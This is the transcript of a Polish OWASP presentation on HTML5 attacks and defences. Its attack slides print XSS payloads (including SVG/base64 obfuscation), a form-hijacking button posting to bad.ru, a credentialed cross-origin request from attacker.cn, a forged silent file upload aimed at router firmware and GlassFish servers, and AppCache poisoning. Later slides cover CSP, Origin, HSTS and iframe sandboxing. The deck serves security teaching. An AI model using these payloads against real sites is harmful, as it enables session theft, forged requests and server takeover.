html5: atak i obrona

39
Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation OWASP http://www.owasp.org HTML5: atak i obrona Krzysztof Kotowicz SecuRing [email protected]

Upload: krzysztof-kotowicz

Post on 15-Jan-2015

975 views

Category:

Technology


0 download

DESCRIPTION

Prezentacja z wrocławskiego spotkania OWASP Poland

TRANSCRIPT

Page 1: HTML5: Atak i obrona

Copyright 2007 © The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

The OWASP Foundation

OWASP

http://www.owasp.org

HTML5: atak i obrona

Krzysztof [email protected]

Page 2: HTML5: Atak i obrona

OWASP

$ id

IT security consultant @ SecuRing Web security researcher

(BlackHat USA, BruCON, Hack in Paris, ...) blog.kotowicz.net @kkotowicz

2

Page 3: HTML5: Atak i obrona

OWASP

HTML5(i pokrewne)

3

Page 4: HTML5: Atak i obrona

OWASP

HTML5

Upgrade wielu technologii używanych przez aplikacje webowe

Dużo nowej dokumentacji Dużo nowego kodu Prace trwają od 2004

4

Page 5: HTML5: Atak i obrona

OWASP

HTML5

Bogaty, oparty na standardach klient Przenoszenie logiki na stronę klienta

więcej danychwięcej możliwości

Nowe APIGeolocation, Drag & Drop, Filesystem, WebSockets,

WebWorkers, Touch Events...

5

Page 6: HTML5: Atak i obrona

OWASP

HTML5 i bezpieczeństwo

Wiele rozwiązań roboczych Tradycyjne webowe podatności HTML wciąż

istnieją XSSCSRF

Nowe API dostępne dla Javascriptu XSS zyskuje na znaczeniu

6

Page 7: HTML5: Atak i obrona

OWASP

HTML5 - ataki(praktyczne)

7

Page 8: HTML5: Atak i obrona

OWASP

XSS

Filtry anty-XSS nie tylko w przeglądarkach! Nowe elementy, nowe atrybuty

<video poster=javascript:alert(1)//></video>

<form><button formaction="javascript:alert(1)">X</button>

<math><maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext>http://google.com</mtext></maction> </math>

8

<iframe srcdoc='<b>html here</b>'>

Page 9: HTML5: Atak i obrona

OWASP

XSS

SVG, base64 - XSS i zaciemnnianie

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <feImage> <set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64, PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/> </feImage> </svg>

9

<svg><image style='filter:url("data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(1)</script></svg>")'></svg>

Page 10: HTML5: Atak i obrona

OWASP

Data: URI

Użyj, jak kiedyś javascript:

Sprawdź przekierowania!

// all<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>xss</a>

// IE<link rel=stylesheet href=data:,*%7bx:expression(write(/xss/))%7d >

http://vuln.pl/?redirect=data:text/html,....

Location: data:text/html,...

10

Page 11: HTML5: Atak i obrona

OWASP

Przechwytywanie formularzy

Bez użycia Javascript

<form id=f action=https://good.com><input name=secret></form>

// anywhere in the document<button form=f formaction=http://bad.ru>CLICK</button>

11

Page 12: HTML5: Atak i obrona

OWASP

Wykorzystanie XSS

HTML5 pomaga przy eksploitacjiWebSockets - wydajne połączenie z C&CDane w DB, HTML5 filesystem, Web Storage

// stealth modehistory.pushState('/innocent-url')

// wstrzyknięcie kodulocalStorage['code']='alert(/1/)';// późniejeval(localStorage['code'])

12

Page 13: HTML5: Atak i obrona

OWASP

Klasyczny XHR

Tylko w ramach tej samej domeny

13

Page 14: HTML5: Atak i obrona

OWASP

Cross Origin Resource Sharing

Międzydomenowy

14

Page 15: HTML5: Atak i obrona

OWASP

CORS

Międzydomenowe XHR, z poświadczeniami (credentials):

cookies certyfikat SSL/TLS kliencki poświadczenia HTTP auth

Docelowy serwer podejmuje decyzjęOdsyła odpowiednie nagłówki

15

Page 16: HTML5: Atak i obrona

OWASP

CORS

// http://attacker.cnvar xhr = new XMLHttpRequest();

xhr.open("POST", "http://victim.pl");xhr.setRequestHeader("Content-Type", "text/plain");xhr.withCredentials = "true"; // cookies etc.xhr.send("Anything");

16

Page 17: HTML5: Atak i obrona

OWASP

CORS

Żądanie XHR dociera do serwera Z poświadczeniami

Można wykorzystać do Cross Site Request Forgery Tak jak <form>, <img src> itd.Nic nowego?

17

Page 18: HTML5: Atak i obrona

OWASP

Cichy upload plików

Content-Type: multipart/form-data; boundary=AaB03x

--AaB03xContent-Disposition: form-data; name="submit-name"

Larry--AaB03xContent-Disposition: form-data; name="files"; filename="file1.txt"Content-Type: text/plain

... contents of file1.txt ...--AaB03x--

xhr.send

("Anythi

ng");

18

Page 19: HTML5: Atak i obrona

OWASP

Cichy upload plików

xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary=xxx");

xhr.send('\--xxx\r\n\Content-Disposition: form-data;\ name="files"; filename="file1.txt"\r\n\Content-Type: text/plain\r\n\\r\n\ANYTHING\r\n\--xxx--');

19

Page 20: HTML5: Atak i obrona

OWASP

Cichy upload plików

Udaje multipart/form-data request z uploadem poprzez <input type=file>

Użyj do: Zastąpienia firmware’u w routerach Przejęcia kontroli nad serwerami aplikacyjnymi

logUrl = 'http://glassfishserver/ management/domain/applications/ application'; fileUpload(c,"maliciousarchive.war");

20

Page 21: HTML5: Atak i obrona

OWASP

Wstrzyknięcie treści

http://website/#/a/page

https://touch.facebook.com/#http://example.com/xss.php

HTTP/1.1 200 OKAccess-Control-Allow-Origin: *Content-Type: text/html

<img src=x onerror=alert(1)>

xhr.open("GET", "/a/page");

21

Page 22: HTML5: Atak i obrona

OWASP

Offline web applications

Cache offline

Manifest Typ MIME text/cache-manifest

Cache odświeża się, kiedy zmieni się plik

<html manifest=/cache.manifest>

22

CACHE MANIFEST//main/home/main/app.js/settings/home/settings/app.jshttp://img.example.com/logo.png

Page 23: HTML5: Atak i obrona

OWASP

Man in the middle

Podgląd / zmiana ruchu XSS session hijack (Firesheep)

Atak nietrwały

23

Page 24: HTML5: Atak i obrona

OWASP

AppCache poison

1. W trakcie MITM: wstrzyknięcie trucizny

2. Po zakończeniu MITM: • ofiara odwiedza stronę• robots.txt ma niewłaściwy typ MIME• zatruta strona pobierana z cache• złośliwy kod uruchamia się• ... aż do ręcznego wyczyszczenia offline cache

<html manifest="/robots.txt">....<script>evil_foo()</script>

CACHE MANIFESTCACHE:http://victim/NETWORK:*

24

Page 25: HTML5: Atak i obrona

OWASP

AppCache poison

25

Page 26: HTML5: Atak i obrona

OWASP

AppCache poison

Jak się bronić? SSL/TLSWyczyszczenie

offline cache

26

Page 27: HTML5: Atak i obrona

OWASP

HTML5 - obrona(w trakcie budowy)

27

Page 28: HTML5: Atak i obrona

OWASP

HTML5 - metody obrony

Content Security Policy (XSS) Nagłówek Origin (CSRF) HTTP Strict Transport Security (MITM) Iframe sandbox (izolacja treści)

28

Page 29: HTML5: Atak i obrona

OWASP

Content Security Policy

Polityka zapobiegająca m.in. XSS Firefox / Chrome / IE 10 / Safari Ciężka w implementacji

<a onclick=....> <script>code</script>

Defense-in-depth

29

Page 30: HTML5: Atak i obrona

OWASP

Content Security Policy

Content-Security-Policy: script-src 'self' https://apis.google.com; frame-src 'none'; object-src 'none'

30

Page 31: HTML5: Atak i obrona

OWASP

Nagłówek Origin

Referer: http://host:port/url/?a=1

Często używany do zabezpieczenia przed CSRF

Kiedyś łatwy do podrobienia

if (req.headers.referer && !req.headers.referer.match('ok.com')) { tell_attacker_to_get_lost();} else { process();}

31

Page 32: HTML5: Atak i obrona

OWASP

Nagłówek Origin

Łatwo pozbyć się nagłówka Referer!

preferencje przeglądarki https:// → http:// niemożliwa do ustalenia wartość

location = 'data:text/html,<html><meta http-equiv="refresh" content="0; url=data:text/html,<form id=f method=post action=\''+url+'\'></form><script>document.f.submit()</scri'+'pt>"></html>';

32

Page 33: HTML5: Atak i obrona

OWASP

Nagłówek Origin

szanuje prywatność

zachowany przy ruchu https:// → http://

nie może być podrobiony

nieznany →

Referer: http://host:port/naga-prawdaOrigin: http://host:port

Origin: null

33

Page 34: HTML5: Atak i obrona

OWASP

HSTS

HTTP Strict Transport Security Zabezpiecza przed atakami SSL stripping

GET / HTTP/1.1Host: gmail.com

HTTP/1.1 301 Be SecureLocation: https://mail.google.com/

34

Page 35: HTML5: Atak i obrona

OWASP

HSTS

Dozwolone tylko szyfrowane połączenia Ciche tłumaczenie http:// na https:// “Hard fail” w przypadku błędów SSL/TLS

Strict-Transport-Security: max-age=1576800; includeSubDomains

35

Page 36: HTML5: Atak i obrona

OWASP

Iframe sandbox

Bez dostępu do DOM Bez skryptów Bez pluginów (Java, Flash, ...) Bez formularzy Bez framebusting Ograniczenia można wybiórczo wyłączać

<script>user_id=4</script><iframe sandbox src=untrusted-ad.aspx />

36

Page 37: HTML5: Atak i obrona

OWASP

Iframe sandbox

<iframe sandbox src="data:text/html,<script>alert('haha!')</script>"></iframe>

// attacker.com<iframe sandbox="allow-scriptsallow-forms" src=http://clickjacked/ ></iframe>

37

Page 38: HTML5: Atak i obrona

OWASP

Nowe możliwości, także dla atakującego XSS groźniejszy w skutkach

Nowe narzędzia do obrony Warto je zastosować w kombinacji z tradycyjnymi

metodami

Podsumowanie

38